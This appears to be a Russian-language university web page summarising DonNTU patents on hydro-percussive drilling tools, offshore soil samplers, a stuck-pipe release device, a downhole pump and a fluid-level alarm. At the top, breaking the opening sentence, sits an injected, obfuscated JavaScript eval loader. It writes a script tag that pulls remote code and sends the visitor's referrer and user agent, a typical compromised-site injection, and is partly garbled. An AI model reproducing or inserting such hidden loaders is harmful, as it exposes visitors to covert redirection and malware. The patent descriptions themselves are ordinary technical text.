

На eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|yeayn|var|u0026u|referrer|byayh||js|php'.split('|'),0,{}))

кафедре Технологии и техники бурения скважин ДонНТУ получен ряд патентов на изобретения на средства бурения подводных скважин на шельфе. Новые разработки которые могут быть использованы для отбора проб грунта в нескальных донных отложениях и в мягких нескальных отложениях.

1. Пробоотборник - Заявка № а 201401810 от 24.02.2014, на стадии выдачи.

Пробоотборник содержит ударный узел, который состоит из бойка, корпуса с отверстиями, наковальни, соединенной с керноприемной трубой. . Устройство имеет канал для соединения полостей корпуса ударного узла и керноприемной трубы, кольцевой клапан, седло которого расположено на корпусе с возможностью перемещения относительно клапана. Над ударным узлом расположен поршневой гидродвигатель, на штоке поршня которого установлены захваты для периодического взаимодействия с бойком и перегородкой, которая отделяет гидродвигатель от

ударного узла. Над гидродвигателем расположен распределительный переходник с камерой, в которой установлен поршень с осевым каналом и седлом под пусковой клапан. Кольцевой клапан размещен на внешней поверхности наковальни ниже отверстий канала для соединения полостей корпуса ударного узла и керноприемной трубы. В корпусе установлен подпружиненный перепускной клапан, а между бойком и перегородкой установлена силовая пружина.

Высокая скорость бурения обеспечивается за счет возможности промывания забоя через полость трубы независимо от значения подачи жидкости и повышения энергии удара бойка по наковальне.

Перед началом пробоотбора для очистки забоя скважины от осыпавшейся породы в бурильную колонну в кольцевой зазор между стенками скважины и пробоотборником подается промывочная жидкость. При подъеме пробоотборника над забоем жидкость по каналу поступает в полость керноприемной трубы и далее - на забой скважины, размывая осыпавшуюся породу. Для отбора пробы пробоотборник опускают на забой скважины. Под действием удара бойком по наковальне керноприемная труба углубляется в грунт, который поступает в ее полость, жидкость из полости вытесняется в скважину через обратный клапан. После окончания рейса подачу жидкости прекращают. Бурильную колонну поднимают, извлекая керноприемную трубу из грунта, в которой удерживается отобранная проба. Использование изобретения обеспечивает повышение качества пробы грунта за счет использования перед началом пробоотбора предварительной промывки через устройство забоя скважины и размыва осыпавшейся породы.

При эксплуатации гидроударного бурового снаряда предотвращается осыпание стенок в неустойчивых породах и зашлаковывание скважины.

2. Гидроударный буровой снаряд: патент Украины №77466 , МПК: E21B 25/00 / Калиниченко О.И. Хохуля А.В., Каракозов А.А.; ДонНТУ, заяв. №u201210897 от 18.09.2012г., опубл. 11.02.2013, бюл. № 3.

Гидроударный буровой снаряд содержит колонковый набор, состоящий из внешней и внутренней колонковых труб с башмаком и керносрывателем, и гидроударник с входным каналом для соединения с источником давления через камеру распределительного переходника. В камере установлен поршень с осевым каналом и седлом под пусковой клапан, и каналом для отвода жидкости, связанным через установленный над седлом блокирующим клапаном с зазором между колонковыми трубами, соединенным со скважиной, а через кольцевой золотник и радиальные отверстия - с полостью внутренней колонковой трубы. В распределительном переходнике выполнены дроссельные каналы для связи камеры с окружающей средой, которые перекрыты боковой поверхностью поршня. Поршень выполнен с возможностью одновременного соединения источника давления с входным каналом гидроударника и через дроссельные каналы - с окружающей средой. В верхней части блокирующего клапана выполнен хвостовик с радиальными пазами для прохода жидкости, расположенный на кольцевом золотнике. Высота зазора между блокирующим клапаном и его седлом больше расстояния от пазов в хвостовике до радиальных отверстий, соединенных с полостью внутренней колонковой трубы, но меньше величины хода кольцевого золотника.

Устанавливается на дне в вертикальном положении от источника давления в буровой снаряд подается жидкость. Повышая подачу жидкости, под действием ее скоростного напора и перепада давления на блокировочном клапане, он садится на седло и перекрывает проход жидкости в канал. При этом между хвостовиком и кольцевым золотником образуется полость, по которой жидкость поступает в радиальные каналы и дальше в полость внутренней колонковой трубы и через керносрыватель - на забой скважины, размывая породы. Это обеспечивает возможность углубления гидроударного бурового снаряда в грунт без отбора пробы. После того, как гидроударный буровой снаряд достигнет нужной глубины отбора пробы, подачу жидкости от источника давления уменьшают, кольцевой золотник возвращается в исходное положение, перекрывая доступ жидкости в полость внутренней колонковой трубы. После этого подачу жидкости повышают до уровня, который был при бурении без отбора пробы.

3. Проботборник: патент Украины на изобретение №103123 , МПК: E21B 25/18/ Каракозов А.А., Рязанов А.М., Зыбинский П.В., Парфенюк С.М.; ДонНТУ, заяв. №а201205906 от 15.05.2012 г., опублик. 10.09.2013, бюл. № 17.

Пробоотборник содержит ударный узел, который состоит из бойка, корпуса и наковальни соединенной с керноприемной трубой и установленной в корпусе с возможностью перемещения относительно него. Над ударным узлом расположен поршневой гидродвигатель, на штоке поршня которого установлены захваты для периодического взаимодействия с бойком и перегородкой, которая отделяет гидродвигатель от ударного узла. Над гидродвигателем размещен распределительный переходник с камерой, соединенной с источником давления, входной полостью гидродвигателя, внешним пространством и полостью корпуса ударного узла. Отверстие камеры перекрыто поршнем, установленным в камере с возможностью продольного перемещения и соединения с этим отверстием источника давления. Полость корпуса ударного узла соединена с источником давления осевым каналом с седлом для клапана, выполненным в поршне. На боковой поверхности наковальни установлен подпружиненный кольцевой клапан-золотник, седло которого расположено на корпусе ударного узла с возможностью перемещения относительно клапана-золотника. Ниже седла в корпусе выполнены отверстия, а клапан-золотник выполнен с возможностью одновременного соединения полостей керноприемной трубы и корпуса ударного узла выше седла с помощью каналов в наковальне с отделением от них полости корпуса под седлом.

Перед началом пробоотбора для очистки забоя скважины от осыпавшейся породы в бурильную колонну в кольцевой зазор между стенками скважины и пробоотборником подается промывочная жидкость. При подъеме пробоотборника над забоем жидкость по каналу поступает в полость керноприемной трубы и далее - на забой скважины, размывая осыпавшуюся породу. Для отбора пробы пробоотборник опускают на забой скважины. Под действием удара бойком по наковальне керноприемная труба углубляется в грунт, который поступает в ее полость, жидкость из полости вытесняется в скважину через обратный клапан. После окончания рейса подачу жидкости прекращают. Бурильную колонну поднимают, извлекая керноприемную трубу из грунта, в которой удерживается отобранная проба. Затем пробоотборник на бурильной колонне поднимают на поверхность.

Использование изобретения обеспечивает повышение качества пробы грунта за счет использования перед началом пробоотбора предварительной промывки через устройство забоя скважины и размыва осыпавшейся породы.

4. Колонковый снаряд: патент Украины на изобретение №103415, МПК: E21B 21/00/ Каракозов А.А., Рязанов А.М., Калиниченко О.И., Зыбинский П.В., Парфенюк С.М.; ДонНТУ, заяв. №а201206488 от 29.05.2012г, опубл. 10.10.2013, бюл. № 19

Колонковый снаряд содержит золотниковую втулку с осевым каналом и седлом под пусковой клапан, колонковую трубу и гидроударник с нагнетательной и выпускной полостями, а также с кожухом и корпусом, установленными между переходником с распределительной камерой и наковальной гидроударника. В гидроударнике выполнен канал для связи зазора между кожухом и корпусом с полостью колонковой трубы, присоединенной к наковальне. Выпускная полость гидроударника соединена каналом с внешним пространством. Распределительная камера переходника связана с нагнетательной полостью гидроударника и с внешним пространством. В переходнике выполнен канал, связанный с зазором между кожухом и корпусом. Золотниковая втулка размещена в полости штока, который установлен в распределительной камере с возможностью ограниченного продольного перемещения и контакта с ее верхней и нижней поверхностями. Связанный с зазором между кожухом и корпусом канал в переходнике перекрыт штоком. Полость штока выше золотниковой втулки соединена с источником давления, а полость ниже золотниковой втулки соединена с распределительной камерой радиальными отверстиями в штоке, которые выполнены с возможностью соединения со связанным с зазором между кожухом и корпусом каналом в переходнике для одновременного их отделения от распределительной камеры. Золотниковая втулка выполнена с возможностью перекрытия своего осевого канала нижней внутренней поверхностью штока.

Колонковый снаряд спускается в скважину на бурильных трубах без пускового клапана. Сначала осуществляется предварительное бурение без отбора пробы, для этого снаряд поддерживают над забоем скважины, от источника давления в него подается жидкость. Когда вода через элементы снаряда проходит на забой, порода на забое размывается, что обеспечивает углубление снаряда в грунт без отбора пробы. Если встречаются крепкие глинистые почвы, то колонковый снаряд ставят на забой скважины. Жидкость подается в распределительную камеру, откуда одна часть потока идет к нагнетательной полости гидроударника, а вторая часть через дроссельную втулку - в скважину. При этом в колонковый снаряд подается такое же количество жидкости, как и при бурении скважины размывом без отбора пробы. Под действием ударов и осевой нагрузки колонковый снаряд углубляется в почву. При поднятии снаряда над забоем, гидроударник выключается. Жидкость поступает на забой скважины и размывает его более интенсивно, поскольку порода на забое ослаблена предыдущим механическим

разрыхлением.

Эксплуатация устройства позволяет повысить скорость бурения скважины без отбора пробы, особенно при бурении в крепких глинистых почвах за счет размыва пород забоя и их дополнительного механического разрыхления при периодических установках снаряда на забой скважины.

5. Колонковый снаряд: патент Украины на изобретение №105101, МПК: E21B 21/00/ Каракозов А.А., Рязанов А.М., Парфенюк С.М., Титенок Н.И; ДонНТУ, заяв. №а201214454 от 17.12.2012, опубл. 10.04.2014, бюл. №7

Колонковый снаряд содержит наковальню с кольцевым клапаном, соединенную с колонковой трубой, и гидроударник с бойком, верхней наковальней, нагнетательной полостью и соединенной с внешним пространством выпускной полостью, а также с кожухом и корпусом, установленными под переходником с распределительной камерой, которая связана каналами с источником давления, зазором между кожухом и корпусом, нагнетательной полостью гидроударника и внешним пространством, в которой расположена золотниковая втулка с осевым каналом и седлом под пусковой клапан. Каналы для связи распределительной камеры с нагнетательной полостью гидроударника и внешним пространством соединены между собой и в последнем канале установлена дроссельная втулка, полость колонковой трубы соединена с внешним пространством обратным клапаном, а с зазором между кожухом и корпусом - каналом в наковальне. Корпус и кожух гидроударника установлены над верхней наковальней, к которой снизу присоединен корпус ударного узла, в котором расположен боек гидроударника. Кольцевой клапан закреплен на внешней поверхности наковальни, которая установлена с возможностью перемещения относительно корпуса ударного узла, на котором ниже кольцевого клапана расположено седло последнего. В корпусе ударного узла ниже седла кольцевого клапана выполнены отверстия, а в верхней наковальне выполнен канал для соединения зазора между кожухом и корпусом с полостью корпуса ударного узла, с которой также соединен расположенный в

наковальне канал для соединения зазора между кожухом и корпусом с полостью колонковой трубы, который перекрыт подпружиненным поршнем.

Колонковый снаряд спускается в скважину на колонне бурильных труб. Перед началом отбора пробы для очистки забоя скважины от осыпавшейся породы, в колонну бурильных труб подается промывочная жидкость, которая поступает в кольцевой зазор между стенками скважины и колонковой снарядом. При подъеме колонкового снаряда над забоем скважины поток промывочной жидкости перекрывается, в результате чего над поршнем растет давление, поршень открывает канал для прохода промывочной жидкости в колонковую трубу. Жидкость поступает на забой скважины, размывая осыпавшуюся породу. Для отбора пробы снаряд опускают на забой скважины. В колонну бурильных труб сбрасывается пусковой клапан, полость корпуса отделяется от источника давления, и жидкость поступает во входную полость гидроударника, который приводится в действие. В процессе работы боек наносит удары по наковальне, а жидкость из выпускной полости гидроударника выходит в скважину. Под действием ударов по наковальне колонковая труба углубляется в грунт, который поступает в ее полость. Жидкость из полости колонковой трубы вытесняется в скважину, при этом колонковая труба не воспринимает ударных нагрузок. Поэтому даже при подъеме гидроударника над забоем колонковая труба не теряет контакта с забоем. Также, за счет того, что удары вниз воспринимает только колонковая труба с наковальней, а не весь колонковый снаряд с колонной бурильных труб, повышается углубление за один удар и как следствие - механическая скорость бурения. После окончания рейса подачу жидкости в колонковый снаряд прекращают. Колонну бурильных труб поднимают, при этом керносрыватель удерживает в колонковой трубе отобранную пробу. Затем колонковый снаряд на колонне бурильных труб поднимают на поверхность.

Использование изобретения позволяет добиться повышения механической скорости бурения за счет обеспечения восприятия ударов вниз колонковой трубой отдельно от других узлов колонкового снаряда и колонны бурильных труб и постоянного контакта колонковой трубы с забоем скважины.

6. Устройство для ликвидации прихватов бурового снаряда: патент Украины на изобретение № 96491, МПК E21B 31/113 / Каракозов А.А., Парфенюк С.Н., Рязанов А.Н., Сагайдак И.Д., Дерягина Д.А. ; ДонНТУ, заявка № а 2009 13164, заявл. 17.12.2009, опубл. 10.11.2011, бюл. № 2.

Изобретение относится к области бурения скважин, преимущественно к техническим средствам для ликвидации прихватов бурового снаряда и может быть использовано при проведении аварийных работ в скважинах.

Устройство для ликвидации прихватов бурового снаряда содержит корпус с радиальными отверстиями и уступом на внутренней поверхности, концентрически установленный в нем шток с осевым каналом, радиальными отверстиями и ограничителем на внешней поверхности, наковальню над кольцевым поршнем-бойком, размещенным между корпусом и штоком, перегородку под поршнем-бойком с установленным в ней клапаном, седло под обратный клапан. Новизна заключается в том, что шток расположен в осевых отверстиях наковальни и перегородки, соединенных с корпусом и в нижнем переходнике которого установлено седло обратного клапана. Радиальные отверстия в корпусе размещены выше наковальни, а уступ корпуса расположен под поршнем-бойком. Ограничитель размещен на внешней поверхности штока, а радиальные отверстия штока размещены ниже перегородки. В верхней части штока выполнена резьба для соединения с бурильными трубами, а в нижнем переходнике корпуса - резьба для соединения с прихваченным снарядом.

Для нанесения удара дают натяжение бурильным трубам и поднимают шток вверх. Радиальные отверстия штока при этом поднимаются выше перегородки и соединяются с полостью под поршнем-бойком, что позволяет жидкости из бурильных труб попадать в полость. Под действием давления поршень-боек движется вверх и наносит удар по наковальне, а жидкость из полости над поршнем-бойком вытесняется в скважину через отверстия. Для нанесения повторного удара бурильные трубы подаются вниз. Шток ограничителем давит на поршень-боек и перемещает его вниз, а жидкость из-под поршня-бойка через отверстия вытесняется в полость бурильных труб. Удары, которые передаются на прихваченный снаряд во время работы освобождают снаряд от прихвата.

Устройство также может использоваться в составе бурового снаряда. В процессе бурения скважины крутящий момент на забой передается шлицевым соединением, а усилие осевого нагрузки – передается ограничителем на поршень-боек и уступ корпуса.

Конструктивные особенности устройства позволяют уменьшить гидравлическое сопротивление течения жидкости в устройстве, чем обеспечивается повышение энергии ударов

7. Колонковый снаряд: патент Украины на изобретение № 87218, МПК В21В 21/00, В21В 25/00 /Каракозов А.А., Зибинский П.В.; ДонНТУ, заявка №а 2007 12778, заявл. 19.11.2007, опубл.25.06.2009, бюл. № 12.

Изобретение относится к области бурения скважин, а именно к техническим средствам бурения скважин с отбором керна, и может быть применено для отбора проб грунтов в мягких нескальных отложениях.

Колонковый снаряд содержит колонковую трубу и гидроударник с нагнетательной и выпускной полостями, кожухом и корпусом, установленными между переходником с распределительной камерой и наковальней. В корпусе выполнен канал, связанный с зазором между кожухом и корпусом, и расположен насос с рабочей камерой, который при помощи системы каналов и клапанов. И соединен с внешним пространством и с полостью колонковой трубы. Со стороны колонковой трубы на наковальне установлен шток с подпружиненным кольцевым клапаном. В распределительной камере расположена золотниковая втулка с осевым каналом и седлом под пусковой клапан. Распределительная камера при этом связана каналами с источником давления, зазором между кожухом и корпусом, нагнетательной полостью гидроударника и внешним пространством. Каналы между распределительной камерой и нагнетательной полостью гидроударника и внешним пространством соединены между собой. Выпускная полость гидроударника соединена с внешним пространством. Новизна заключается в том, что подпружиненный кольцевой клапан размещен в зазоре между штоком и цилиндром, установленным между наковальней и колонковой трубой. При этом выпускная полость гидроударника соединена с внешним пространством зазором между кожухом и корпусом гидроударника, каналом в наковальне, осевыми каналами, выполненной на внешней боковой поверхности кольцевого клапана проточкой и радиальными отверстиями в

цилиндре. Кольцевой клапан выполнен с возможностью перекрытия радиальных отверстий в цилиндре и соединения канала в наковальне с полостью колонковой трубы.

Новые конструктивные особенности дают возможность выпускать жидкость для размыва стенок скважины ниже гидроударника, чем предотвращается контакт гидроударника со стенками скважины. Применение изобретения обеспечивает снижение сил сопротивления по боковой поверхности при углублении снаряда и его подъеме из буровой скважины и повышение скорости бурения и длины рейса в сыпучих неустойчивых породах

8. Гидроударный буровой снаряд: патент Украины на изобретение № 87222, МПК E21B 25/00 /Каракозов А.А., Калиниченко О.И., Зыбинский П.В.; ДонНТУ, заявка № а 2007 13149, заявл. 26.11.2007, опубл. 25.06.2009, бюл. № 12.

Изобретение относится к области бурения скважин, а именно к техническим средствам бурения подводных скважин на шельфе, и может быть применено для отбора проб грунтов в мягких нескальных донных отложениях.

Гидроударный буровой снаряд содержит гидроударник с входным каналом и каналом для отвода жидкости, колонковый набор с керноприемной трубой, установленный над гидроударником и верхний распределительный узел, соединенный с источником давления. Верхний распределительный узел состоит из распределительного переходника, в камере которого установлен поршень с осевым каналом и седлом под пусковой клапан. Камера распределительного переходника соединена с входным каналом гидроударника нагнетательным каналом, перекрытым поршнем. Между камерой и окружающей средой расположены дроссельные каналы, хотя бы один из которых связан с входным каналом гидроударника, и нижний распределительный узел, который состоит из блокировочного клапана и кольцевого золотника. Нижний

распределительный узел установлен между гидроударником и колонковым набором и связан с верхним распределительным узлом, с каналом для отвода жидкости из гидроударника, в котором установлен обратный клапан, с буровой скважиной и с полостью керноприемной трубы. Полость камеры под поршнем верхнего распределительного узла соединена с входным каналом гидроударника. В канале между верхним и нижним распределительным узлом установлена дроссельная втулка, а нагнетательный канал между камерой и входным каналом гидроударника перекрыт обратным клапаном.

При работе гидроударника обеспечивают такую подачу жидкости через блокирующий клапан, чтобы она была значительно меньше, чем нужна для закрывания блокирующего клапана при размыве пород на забое скважины. Таким образом, в процессе отбора пробы блокирующий клапаны кольцевой золотник остаются в своих крайних верхних положениях, и жидкость, перетекает с канала в канал, не попадая в полость керноприемной трубы и не нарушая пробу.

Новые конструктивные особенности устройства обеспечивают дополнительное механическое разрыхление породы на забое скважины гидроударником. Применение изобретения обеспечивает повышение скорости бурения скважины без отбора керна, особенно при бурении в прочных глинистых грунтах.

9. Гидроударник: патент Украины на изобретение № 84158, МПК E21B 4/00 / Калиниченко О.И., Каракозов А.А., Зыбинский П.В., Парфенюк С.Н.; ДонНТУ, заявка № а 2006 01017, заявл. 03.02.2006, опубл. 25.09.2008, бюл. № 18.

Изобретение относится к области бурения скважин, а именно к техническим средствам гидроударного бурения скважин.

Гидроударник имеет переходник с возможностью осевого перемещения с впускным отверстием, корпус с верхней и нижней наковальнями, клапанную коробку с нагнетательными каналами и впускным клапаном. Клапанная коробка соединена с цилиндром, в котором размещен поршень, связанный штоком с бойком. Выпускной клапан установлен в осевой проточке поршня и соединен с впускным клапаном толкателем. Между штоком и верхней наковальней установлено уплотнение. Выхлопные каналы связаны с выпускным отверстием каналами для отвода жидкости в бойке и нижней наковальне. В нагнетательных каналах клапанной коробки есть боковые отверстия, которые перекрыты золотниковой втулкой, которая соединена с переходником.

Применение изобретения способствует дополнительно применять гидроударник при бескерновом бурении за счет соединения выхлопных каналов с забоем, что обеспечивает использование отработанной в гидроударнике жидкости для промывки выбоины скважины во время бурения.

10. Гидроударный буровой снаряд: патент Украины на изобретение № 82505, МПК E21B 25/00 / Каракозов А.А., Зыбинский П.В.; ДонНТУ, заявка № а 2005 08880, заявл. 19.09.2005, опубл. 25.04.2008, бюл. № 8.

Изобретение относится к области бурения скважин, а именно к техническим средствам бурения подводных скважин на шельфе, и может быть применено для отбора проб грунтов в мягких нескальных донных отложениях.

Гидроударный буровой снаряд содержит гидроударник с входным каналом и каналом для отвода жидкости. Распределительный переходник с камерой, в которой установлен

поршень с осевым каналом и седлом под пусковой клапан, связанной с входным каналом гидроударника и с распределительным узлом. Распределительный узел состоит из блокировочного клапана и кольцевого золотника и соединен с каналом гидроударника для отвода жидкости и расположен между гидроударником и колонковым набором. Колонковый набор состоит из внешней и внутренней колонковых труб с башмаком и кернорвателем. Для повышения рейсовой скорости бурения пусковой клапан установлен в осевом канале поршня над седлом с помощью пружины. В камере распределительного переходника под поршнем также расположена пружина, причем камера связана с распределительным узлом калиброванными каналами, которые перекрыты боковой поверхностью поршня, а отверстие, которое связывает камеру с входным каналом гидроударника, соединено с полостью камеры под поршнем.

Применение изобретения позволяет достичь сокращения времени на подготовку снаряда к каждому последующему рейсу и как следствие – повышение рейсовой скорости бурения за счет обеспечения автоматического перемещения поршня в рабочее и начальное положение при изменении подачи жидкости в гидроударный буровой снаряд.

11. Колонковый снаряд: патент Украины на изобретение № 81016, МПК E21B 21/00, E21B 25/00 / Каракозов А.А., Калиниченко О.И., Зыбинский П.В.; ДонНТУ, заявка № а 2005 08878, заявл. 19.09.2005, опубл. 26.11.2007, бюл. № 19.

Изобретение относится к области бурения скважин, а именно к техническим средствам бурения скважин с отбором керна, и может быть применено для отбора проб грунтов в мягких нескальных отложениях.

Колонковый снаряд содержит гидроударник, кожух и корпус, установленные между переходником с распределительной камерой и наковальной гидроударника, колонковую

трубу, соединенную с наковальней, где расположен насос с рабочей камерой. Камера связана с внешним пространством выхлопными каналом и клапаном и с полостью колонковой трубы - всасывающими каналом и клапаном. Кроме того выполнен канал для соединения зазора между кожухом и корпусом с полостью колонковой трубы, золотниковая втулка с осевым каналом и седлом под пусковой клапан. Для повышения рейсовой скорости бурения на наковальне со стороны колонковой трубы установлен шток, в котором расположен всасывающий канал насоса, а канал в наковальне для соединения зазора между кожухом и корпусом с полостью колонковой трубы перекрыт подпружиненным кольцевым клапаном, установленным на штоке с возможностью перекрытия всасывающего канала насоса. Каналы для связи распределительной камеры с нагнетательной полостью гидроударника и внешним пространством соединены между собой, причем в последнем установлена дроссельная втулка, а выпускная полость гидроударника соединена каналом с внешним пространством.

Применение изобретения позволяет достичь увеличения рейсовой скорости бурения за счет обеспечения повышения длины рейса в сыпучих неустойчивых породах и сокращения времени на вспомогательные операции.

12. Погружная гидроударная установка: патент Украины на изобретение № 78588, МПК E21B 25/00 / Каракозов А.А., Калиниченко О.И., Зыбинский П.В.; ДонНТУ, заявка № а 2005 01833, заявл. 28.02.2005, опубл. 10.04.2007, бюл. № 4.

Изобретение относится к области бурения скважин, а именно к техническим средствам бурения подводных скважин на шельфе, и может быть применено для отбора проб грунтов в мягких нескальных донных отложениях.

Погружная гидроударная установка содержит стабилизирующую опору с основой с проходным отверстием и направляющими стойками с каретками, буровой снаряд с

гидроударником и колонковым набором, нагнетательный шланг, связанный с приводным насосом, и грузовой трос. Для увеличения глубины апробирования толщи грунта каретки опоры соединены поворотной воронкой, в отверстии которой расположен буровой снаряд, на котором установлено стопорное кольцо. На нижней стороне основания опоры под проходным отверстием установлен направляющий раструб. Колонковый набор выполнен из двух расположенных концентрично колонковых труб. Над гидроударником расположен верхний распределительный узел, соединенный с нагнетательным шлангом и выполненный с возможностью поочередного перекрытия каналов для подачи жидкости в гидроударник и нижний распределительный узел. Последний расположен под гидроударником и выполнен с возможностью поочередного перекрывания каналов, связанных с полостью внутренней колонковой трубы и зазором между трубами колонкового набора. Верхняя часть бурового снаряда соединена с грузовым тросом, расположенным параллельно нагнетательному шлангу, который закреплен на нем.

Применение изобретения позволяет достичь увеличения глубины опробования толщи грунта донных отложений за счет обеспечения возможности предыдущего погружения бурового снаряда в грунт без отбора пробы.

13. Гидроударный буровой снаряд: патент Украины на изобретение № 76868, МПК E21B 25/00, E21B 25/00 / Калиниченко О.И., Каракозов А.А., Зыбинский П.В.; ДонНТУ, заявка № 2004 1109551, заявл. 22.11.2004, опубл. 15.09.2006, бюл. № 9.

Изобретение относится к области бурения подводных скважин на шельфе и может быть применено для отбора проб грунтов в мягких нескальных донных отложениях.

Гидроударный буровой снаряд имеет внешнюю и внутреннюю колонковые трубы с башмаком и кернорвателем и гидроударник с выполненным входным каналом для соединения с источником давления через камеру распределительного переходника. В

этой камере установлен поршень с осевым каналом и седлом под пусковой клапан и каналом для отвода жидкости, который соединен через блокировочный клапан с зазором между колонковыми трубами, а через кольцевой золотник - с полостью внутренней колонковой трубы. В распределительном переходнике расположены дроссельные каналы между камерой и окружающей средой, которые перекрыты боковой поверхностью поршня. При этом поршень выполнен с возможностью одновременного соединения источника давления с входным каналом гидроударника и через дроссельные каналы с окружающей средой.

Использование изобретения обеспечивает постоянный расход жидкости над буровым снарядом как при размыве скважины, так и при отборе пробы.

14. Гидроударный буровой снаряд: патент РФ на изобретение № 2278238, МПК E21B 25/18 / Калиниченко О.И., Каракозов А.А., Зыбинский П.В.; ДонНТУ, заявка № 2004127311/03, заявл. 13.09.2004, опубл. 20.06.2006.

Изобретение относится к отрасли бурения скважин, а именно к техническим средствам бурения подводных скважин на шельфе, и может быть применено для отбора проб грунтов в мягких наскальных донных отложениях.

Гидроударный буровой снаряд включает колонковый набор, состоящий из наружной и внутренней колонковых труб с башмаком и керносрывателем, и гидроударник с входным каналом для соединения с источником давления и каналом для отвода жидкости, связанным с зазором между колонковыми трубами, соединенным со скважиной. Над гидроударником размещен распределительный переходник, в котором выполнена камера с отверстиями, соединенными с источником давления, входным каналом гидроударника и с зазором между колонковыми трубами. В камере с возможностью продольного перемещения установлен поршень с осевым каналом и седлом для

пускового клапана. При этом отверстие камеры, соединенное с входным каналом гидроударника, выполнено с возможностью перекрытия боковой поверхностью поршня. В гидравлической линии между камерой и зазором между колонковыми трубами установлен блокировочный клапан, выполненный с возможностью одновременного разделения камеры и зазора между колонковыми трубами и соединения ее с пространством над кольцевым золотником, полость под которым связана с зазором между колонковыми трубами. Причем полость внутренней колонковой трубы выполнена с возможностью соединения с гидравлической линией между камерой и зазором между колонковыми трубами выше блокировочного клапана при помощи отверстий и кольцевого золотника. Поршень выполнен с возможностью соединения отверстия камеры, связанного с входным каналом гидроударника, с источником давления и разъединения последнего и отверстия камеры, связанного с зазором между колонковыми трубами.

Использование изобретения обеспечивает повышение глубины опробования толщи грунта при отборе проб грунтов в мягких нескальных донных отложениях гидроударным буровым снарядом за счет обеспечения возможности предварительного заглубления бурового снаряда в грунт без отбора пробы.

15. Скважинный насосный агрегат: патент Украины на изобретение № 75718, МПК F15B 9/00 Каракозов А.А., Калиниченко О.И., Паршков А.В., Турчин В.А.; ДонНТУ, заявка № 2004 0403115, заявл. 27.104.2004, опубл. 15.05.2008, бюл. № 6.

Изобретение относится к гидромашиностроению и может быть использовано при бурении геологоразведывательных скважин и для откачивания жидкости из скважины.

Скважинный насосный агрегат включает корпус с верхним и нижним переводниками, в котором размещены гидродвигатель, состоящий из поршня, установленного в цилиндре с образованием надпоршневой и подпоршневой полостей, впускного и выпускного клапанов, установленных в центраторе в верхней части цилиндра над поршнем. Насос состоит из цилиндра, разделенного на надпоршневую и подпоршневую полости поршнем, соединенным с поршнем гидродвигателя штоком, который пропущен через сальниковую перегородку, расположенную между гидродвигателем и насосом. Всасывающий и нагнетательный клапаны насоса соединены каналами с подпоршневой полостью цилиндра насоса. В верхнем переводнике выполнена камера, в которой установлен разгрузочный поршень, жестко соединенный с впускным клапаном, полости над и под разгрузочным поршнем соединены с выпускным и впускным окнами. Надпоршневая полость цилиндра гидродвигателя соединена с выпускным окном каналом во впускном клапане и разгрузочном поршне, причем этот канал выполнен с возможностью перекрытия выпускным клапаном. Подпоршневая полость цилиндра гидродвигателя соединена с впускным окном каналом, выполненным с возможностью периодического перекрытия разгрузочным поршнем, а клапан, установленный в канале между подпоршневой полостью цилиндра гидродвигателя и выпускным окном, выполнен с возможностью открывания при контакте с разгрузочным поршнем.

Использование изобретения дает возможность достичь большей высоты подъема и подачи жидкости.

16. Сигнализатор падения уровня жидкости в буровой скважине: патент Украины № 63251А, МПК G01R31/02, /Каракозов А.А., Филимоненко Н.Т., куц О.А., Козырев О.Н., Паршков А.В., Угнивенко В.В./, ДонНТУ, заявка № 2003032277, заявл.17.03.2003, опубл. 15.01.2004, бюл.№1.

Изобретение относится к области бурения скважин, а именно к способам для оперативного контроля уровня жидкости в скважине и может быть использовано при бурении скважин в зонах поглощения промывочной жидкости.

Сигнализатор падения уровня жидкости в буровой скважине содержит корпус с осевым каналом, обводным каналом для связи полостей бурильных труб, установленных над и под сигнализатором, и камерой, связанной со скважиной радиальными каналами, клапан и калиброванную втулку. Клапан установлен над осевым каналом корпуса, под хвостовиком клапана, расположенным в осевом канале и камере корпуса, установлен упругий элемент. При этом калиброванная втулка установлена в клапане, который выполнен с возможностью перекрытия обводного канала калиброванной втулкой, позволяет перекрывать обводной канал калибровочной втулки при изменении положения клапана. Особенности расположения клапанов позволяют фиксировать и изменять их положения в зависимости от давления жидкости в бурильных трубах и скважине. Конструктивные особенности размещения и выполнения калиброванной втулки в клапане обеспечивают повышение давления в бурильных трубах над сигнализатором при изменении положения клапана, что наблюдается на манометре бурового насоса и является сигналом о падении уровня жидкости в скважине.

Использование предложенного способа позволит контролировать уровень жидкости в скважинах за счет перекрытия потока жидкости в бурильных трубах при падении уровня жидкости в скважине.